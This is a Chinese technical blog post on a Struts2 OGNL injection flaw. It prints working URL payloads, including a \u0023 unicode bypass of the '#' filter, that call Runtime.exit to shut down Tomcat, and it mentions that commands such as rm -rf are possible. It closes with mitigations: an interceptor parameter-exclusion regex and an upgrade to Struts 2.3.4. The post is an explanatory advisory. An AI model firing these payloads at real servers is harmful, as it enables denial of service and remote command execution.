Struts2远程执行漏洞

[size=medium][color=darkred]Struts2转码有个bug,可以导致应用挂掉(也可以执行类似 rm –rf /root,只要有权限的话)[/color]

在访问你应用的action的URL连接后面用get请求的方式带上参数[/size]

?('\#_memberAccess[\'allowStaticMethodAccess\']')(meh)=tr&(aaa)(('\#context[\'xwork.MethodAccessor.denyMethodExecution\']\=\#foo')(\#foo\=new%20java.lang.Boolean("false")))&(asdf)(('\#rt.exit(1)')(\#rt\=@java.lang.Runtime@getRuntime()))=1

[size=medium]OGNL处理时最终的结果就是: [/size]
java.lang.Runtime.getRuntime().exit(1);

[size=medium]就会停掉Tomcat

为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,所以上面这个参数在Struts2.1.8之后就没有效果了,但如果使用了Java的unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
[/size]

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

[size=medium]
转义后是这样: [/size]
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 

[size=medium]还是可以停掉服务器

如下图,Tomcat就直接down掉了[/size]
[img]http://dl.iteye.com/upload/attachment/0079/8619/bf966ae3-c774-35e2-b85f-e2dbf12256cb.jpg[/img]

[size=medium]
[b]解决方法:Struts2的interceptor参数过滤[/b][/size]
<interceptor-ref name="params"> 
<param name="excludeParams">.*\\u0023.*</param>
</interceptor-ref>

[size=medium]
但还不完全,可以这样过滤

把JAR包升级到2.3.4版本,发现struts-default.xml参数过滤是这样的:[/size]

<interceptor-ref name="params">
<param name="excludeParams">
dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,parameters\...*
</param>
</interceptor-ref>

[size=medium]
[b]而且在ParametersInterceptor拦截器里面是通过正则表达式来控制参数值[/b]:[/size]
[img]http://dl.iteye.com/upload/attachment/0079/8624/9d5b4ccc-677c-3e36-9ca9-353d5844e51f.jpg[/img]
[size=medium]这样就万无一失了,不过要注意更新JAR包的时候相关联的一系列JAR包都要覆盖。[/size]
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值